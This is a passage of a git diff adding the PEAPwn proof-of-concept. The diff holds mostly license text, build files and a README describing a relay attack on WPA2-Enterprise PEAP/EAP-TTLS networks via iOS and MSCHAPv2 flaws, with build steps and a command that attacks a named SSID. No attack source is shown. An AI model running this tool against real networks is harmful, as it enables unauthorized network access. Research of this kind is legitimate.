peapwn/mods/hostap/wpa_supplicant/examples/p2p/p2p_find.py create mode 100644 peapwn/mods/hostap/wpa_supplicant/examples/p2p/p2p_flush.py create mode 100644 peapwn/mods/hostap/wpa_supplicant/examples/p2p/p2p_group_add.py create mode 100644 peapwn/mods/hostap/wpa_supplicant/examples/p2p/p2p_invite.py create mode 100644 peapwn/mods/hostap/wpa_supplicant/examples/p2p/p2p_listen.py create mode 100644 peapwn/mods/hostap/wpa_supplicant/examples/p2p/p2p_stop_find.py create mode 100644 peapwn/mods/hostap/wpa_supplicant/examples/plaintext.conf create mode 100644 peapwn/mods/hostap/wpa_supplicant/examples/udhcpd-p2p.conf create mode 100644 peapwn/mods/hostap/wpa_supplicant/examples/wep.conf create mode 100644 peapwn/mods/hostap/wpa_supplicant/examples/wpa-psk-tkip.conf create mode 100644 peapwn/mods/hostap/wpa_supplicant/examples/wpa2-eap-ccmp.conf create mode 100755 peapwn/mods/hostap/wpa_supplicant/examples/wpas-dbus-new-getall.py create mode 100755 peapwn/mods/hostap/wpa_supplicant/examples/wpas-dbus-new-signals.py create mode 100755 peapwn/mods/hostap/wpa_supplicant/examples/wpas-dbus-new-wps.py create mode 100755 peapwn/mods/hostap/wpa_supplicant/examples/wpas-dbus-new.py create mode 100755 peapwn/mods/hostap/wpa_supplicant/examples/wpas-test.py create mode 100755 peapwn/mods/hostap/wpa_supplicant/examples/wps-ap-cli create mode 100755 peapwn/mods/hostap/wpa_supplicant/examples/wps-nfc.py create mode 100644 peapwn/mods/hostap/wpa_supplicant/gas_query.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/gas_query.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/hs20_supplicant.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/hs20_supplicant.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/ibss_rsn.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/ibss_rsn.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/interworking.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/interworking.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/main.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/main_none.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/main_winmain.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/main_winsvc.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/nfc_pw_token.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/nmake.mak create mode 100644 peapwn/mods/hostap/wpa_supplicant/notify.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/notify.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/offchannel.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/offchannel.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/p2p_supplicant.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/p2p_supplicant.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/preauth_test.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/scan.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/scan.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/sme.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/sme.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/systemd/wpa_supplicant-nl80211.service.arg.in create mode 100644 peapwn/mods/hostap/wpa_supplicant/systemd/wpa_supplicant-wired.service.arg.in create mode 100644 peapwn/mods/hostap/wpa_supplicant/systemd/wpa_supplicant.service.arg.in create mode 100644 peapwn/mods/hostap/wpa_supplicant/systemd/wpa_supplicant.service.in create mode 100644 peapwn/mods/hostap/wpa_supplicant/tests/link_test.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/tests/test_eap_sim_common.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/tests/test_wpa.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/todo.txt create mode 100755 peapwn/mods/hostap/wpa_supplicant/utils/log2pcap.py create mode 100755 peapwn/mods/hostap/wpa_supplicant/vs2005/eapol_test/eapol_test.vcproj create mode 100755 peapwn/mods/hostap/wpa_supplicant/vs2005/win_if_list/win_if_list.vcproj create mode 100755 peapwn/mods/hostap/wpa_supplicant/vs2005/wpa_cli/wpa_cli.vcproj create mode 100755 peapwn/mods/hostap/wpa_supplicant/vs2005/wpa_passphrase/wpa_passphrase.vcproj create mode 100755 peapwn/mods/hostap/wpa_supplicant/vs2005/wpa_supplicant.sln create mode 100755 peapwn/mods/hostap/wpa_supplicant/vs2005/wpa_supplicant/wpa_supplicant.vcproj create mode 100755 peapwn/mods/hostap/wpa_supplicant/vs2005/wpasvc/wpasvc.vcproj create mode 100644 peapwn/mods/hostap/wpa_supplicant/wifi_display.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/wifi_display.h create mode 100755 peapwn/mods/hostap/wpa_supplicant/win_example.reg create mode 100644 peapwn/mods/hostap/wpa_supplicant/win_if_list.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/wnm_sta.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/wnm_sta.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_cli.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/.gitignore create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/addinterface.cpp create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/addinterface.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/eventhistory.cpp create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/eventhistory.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/eventhistory.ui create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/icons.qrc create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/icons/Makefile create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/icons/README create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/icons/ap.svg create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/icons/group.svg create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/icons/invitation.svg create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/icons/laptop.svg create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/icons/wpa_gui.svg create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/icons_png.qrc create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/lang/.gitignore create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/lang/wpa_gui_de.ts create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/main.cpp create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/networkconfig.cpp create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/networkconfig.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/networkconfig.ui create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/peers.cpp create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/peers.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/peers.ui create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/scanresults.cpp create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/scanresults.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/scanresults.ui create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/signalbar.cpp create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/signalbar.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/stringquery.cpp create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/stringquery.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/userdatarequest.cpp create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/userdatarequest.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/userdatarequest.ui create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/wpa_gui.desktop create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/wpa_gui.pro create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/wpagui.cpp create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/wpagui.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/wpagui.ui create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_gui-qt4/wpamsg.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_passphrase.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_priv.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_supplicant.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_supplicant.conf create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_supplicant_conf.mk create mode 100755 peapwn/mods/hostap/wpa_supplicant/wpa_supplicant_conf.sh create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_supplicant_i.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpa_supplicant_template.conf create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpas_glue.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/wpas_glue.h create mode 100644 peapwn/mods/hostap/wpa_supplicant/wps_supplicant.c create mode 100644 peapwn/mods/hostap/wpa_supplicant/wps_supplicant.h create mode 100644 peapwn/src/eap.py create mode 100644 peapwn/src/fakeap.py create mode 100755 peapwn/src/peapwn.py create mode 100644 peapwn/src/snoopsys.py diff --git a/peapwn/.gitignore b/peapwn/.gitignore new file mode 100644 index 000000000..350166e12 --- /dev/null +++ b/peapwn/.gitignore @@ -0,0 +1,32 @@ +peapwn.conf +peapwn.sh +*.o +*.d +*.gcno +*.gcda +*.gcov +*.pyc +*~ +.config +mods/hostap/tests/hwsim/logs +mods/hostap/wpaspy/build +mods/hostap/wpa_supplicant/eapol_test +mods/hostap/wpa_supplicant/nfc_pw_token +mods/hostap/wpa_supplicant/preauth_test +mods/hostap/wpa_supplicant/wpa_cli +mods/hostap/wpa_supplicant/wpa_passphrase +mods/hostap/wpa_supplicant/wpa_supplicant +mods/hostap/wpa_supplicant/wpa_priv +mods/hostap/wpa_supplicant/wpa_gui/Makefile +mods/hostap/wpa_supplicant/wpa_gui/wpa_gui +mods/hostap/wpa_supplicant/wpa_gui-qt4/Makefile +mods/hostap/wpa_supplicant/wpa_gui-qt4/wpa_gui +mods/hostap/hostapd/hostapd +mods/hostap/hostapd/hostapd_cli +mods/hostap/hostapd/hlr_auc_gw +mods/hostap/hostapd/nt_password_hash +mods/hostap/mac80211_hwsim/tools/hwsim_test +mods/hostap/wlantest/libwlantest.a +mods/hostap/wlantest/test_vectors +mods/hostap/wlantest/wlantest +mods/hostap/wlantest/wlantest_cli diff --git a/peapwn/.gitrepo b/peapwn/.gitrepo new file mode 100644 index 000000000..37fac1076 --- /dev/null +++ b/peapwn/.gitrepo @@ -0,0 +1,11 @@ +; DO NOT EDIT (unless you know what you are doing) +; +; This subdirectory is a git "subrepo", and this file is maintained by the +; git-subrepo command. See https://github.com/git-commands/git-subrepo#readme +; +[subrepo] + remote = https://github.com/rpp0/peapwn + branch = master + commit = 67d5abe7d39fbb0ef1740dbe93ca700ef804344f + parent = c27383a629ac6d44a2fb6065f50fe1b42f14ee34 + cmdver = 0.2.0 diff --git a/peapwn/LICENSE b/peapwn/LICENSE new file mode 100644 index 000000000..22fbe5dba --- /dev/null +++ b/peapwn/LICENSE @@ -0,0 +1,339 @@ +GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {description} + Copyright (C) {year} {fullname} + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + {signature of Ty Coon}, 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. \ No newline at end of file diff --git a/peapwn/README.md b/peapwn/README.md new file mode 100644 index 000000000..a20f73976 --- /dev/null +++ b/peapwn/README.md @@ -0,0 +1,42 @@ +PEAPwn +====== + +PEAPwn is a proof-of-concept implementation of the Apple relay attack introduced at WiSec 2014. It uses a modified version of the ```wpa_supplicant``` tool by Jouni Malinen to establish a PEAP or EAP-TTLS session with the target Authentication Server, and a Python script to exploit several vulnerabilities in iOS < 8 and the MSCHAPv2 protocol. This allows an attacker to gain unauthorized access to any WPA2-Enterprise network that uses a tunneled authentication protocol such as PEAP or EAP-TTLS. + +Link to the paper: http://research.edm.uhasselt.be/~bbonne/docs/robyns14wpa2enterprise.pdf + + +Building the PoC +---------------- + +Currently, only Linux based operating systems are supported. To build the PoC, perform the following steps: + +1. Install the Scapy library for Python 2. +2. Install libnl1 +3. Navigate to mods/hostap/wpa_supplicant. +4. cp defconfig .config +5. Run ```make```. + + +Running the PoC +--------------- + +To run the PoC, one is required to have two NICs. At least one of these devices is required to support Monitor mode. The PoC can then be run as follows: + +```# python2 peapwn.py ``` + +For example, to attack a network with SSID ```testnet```: + +```# python2 peapwn.py wlan0 wlan1 testnet``` + + +Legal notice +------------ + +This PoC is intended for research purposes only, and should only be used in a legal context. For example, to verify the security of your own networks. + + +TODO list +--------- + +- [ ] More robust error handling. diff --git a/peapwn/mods/hostap/Android.mk b/peapwn/mods/hostap/Android.mk new file mode 100644 index 000000000..4a74b248d --- /dev/null +++ b/peapwn/mods/hostap/Android.mk @@ -0,0 +1,16 @@ +LOCAL_PATH:= $(call my-dir) + +ifndef WPA_SUPPLICANT_VERSION +WPA_SUPPLICANT_VERSION := VER_0_8_X +endif +ifeq ($(WPA_SUPPLICANT_VERSION),VER_0_8_X) +# The order of the 2 Android.mks does matter! +# TODO: Clean up the Android.mks, reset all the temporary variables at the +# end of each Android.mk, so that one Android.mk doesn't depend on variables +# set up in the other Android.mk. +include $(LOCAL_PATH)/hostapd/Android.mk \ + $(LOCAL_PATH)/wpa_supplicant/Android.mk +endif +ifeq ($(WPA_SUPPLICANT_VERSION),VER_2_1_DEVEL) +include $(call all-subdir-makefiles) +endif diff --git a/peapwn/mods/hostap/CONTRIBUTIONS b/peapwn/mods/hostap/CONTRIBUTIONS new file mode 100644 index 000000000..5ac78688a --- /dev/null +++ b/peapwn/mods/hostap/CONTRIBUTIONS @@ -0,0 +1,111 @@ +Contributions to hostap.git +--------------------------- + +This software is distributed under a permissive open source license to +allow it to be used in any projects, whether open source or proprietary. +Contributions to the project are welcome and it is important to maintain +clear record of contributions and terms under which they are licensed. +To help with this, following procedure is used to allow acceptance and +recording of the terms. + +These terms are similar to the process used in Linux kernel development. +The items (a) through (d) are identical to the Developer's Certificate +of Origin 1.1. To enable cleaner licensing option to be provided in the +future, an additional item (e) is included. + +Until February 11, 2012, in case of most files in hostap.git, "under the +open source license indicated in the file" means that the contribution +is licensed both under GPL v2 and modified BSD license (see below) and +the choice between these licenses is given to anyone who redistributes +or uses the software. As such, the contribution has to be licensed under +both options to allow this choice. + +As of February 11, 2012, the project has chosen to use only the BSD +license option for future distribution. As such, the GPL v2 license +option is no longer used and the contributions are not required to be +licensed until GPL v2. In case of most files in hostap.git, "under the +open source license indicated in the file" means that the contribution +is licensed under the modified BSD license (see below). + + +The additional item (e) is used to collect explicit approval to license +the contribution with only the modified BSD license (see below), i.e., +without the GPL v2 option. This was done to allow simpler licensing +terms to be used in the future. It should be noted that the modified BSD +license is compatible with GNU GPL and as such, this possible move to +simpler licensing option does not prevent use of this software in +GPL projects. + + +By making a contribution to this project, I certify that: + +(a) The contribution was created in whole or in part by me and I + have the right to submit it under the open source license + indicated in the file; or + +(b) The contribution is based upon previous work that, to the best + of my knowledge, is covered under an appropriate open source + license and I have the right under that license to submit that + work with modifications, whether created in whole or in part + by me, under the same open source license (unless I am + permitted to submit under a different license), as indicated + in the file; or + +(c) The contribution was provided directly to me by some other + person who certified (a), (b) or (c) and I have not modified + it. + +(d) I understand and agree that this project and the contribution + are public and that a record of the contribution (including all + personal information I submit with it, including my sign-off) is + maintained indefinitely and may be redistributed consistent with + this project or the open source license(s) involved. + +Additionally, I certify that: + +(e) The contribution can be licensed under the modified BSD license + as shown below even in case of files that are currently licensed + under other terms. + + +To indicate your acceptance of these terms, please add the following +line to each contribution you make to the project: + +Signed-hostap: Your Name + +using your real name. Pseudonyms or anonymous contributions cannot +unfortunately be accepted. + + + +Modified BSD license (no advertisement clause): + +Copyright (c) 2002-2012, Jouni Malinen and contributors +All Rights Reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +3. Neither the name(s) of the above-listed copyright holder(s) nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/peapwn/mods/hostap/COPYING b/peapwn/mods/hostap/COPYING new file mode 100644 index 000000000..8a98582c8 --- /dev/null +++ b/peapwn/mods/hostap/COPYING @@ -0,0 +1,22 @@ +wpa_supplicant and hostapd +-------------------------- + +Copyright (c) 2002-2012, Jouni Malinen and contributors +All Rights Reserved. + + +See the README file for the current license terms. + +This software was previously distributed under 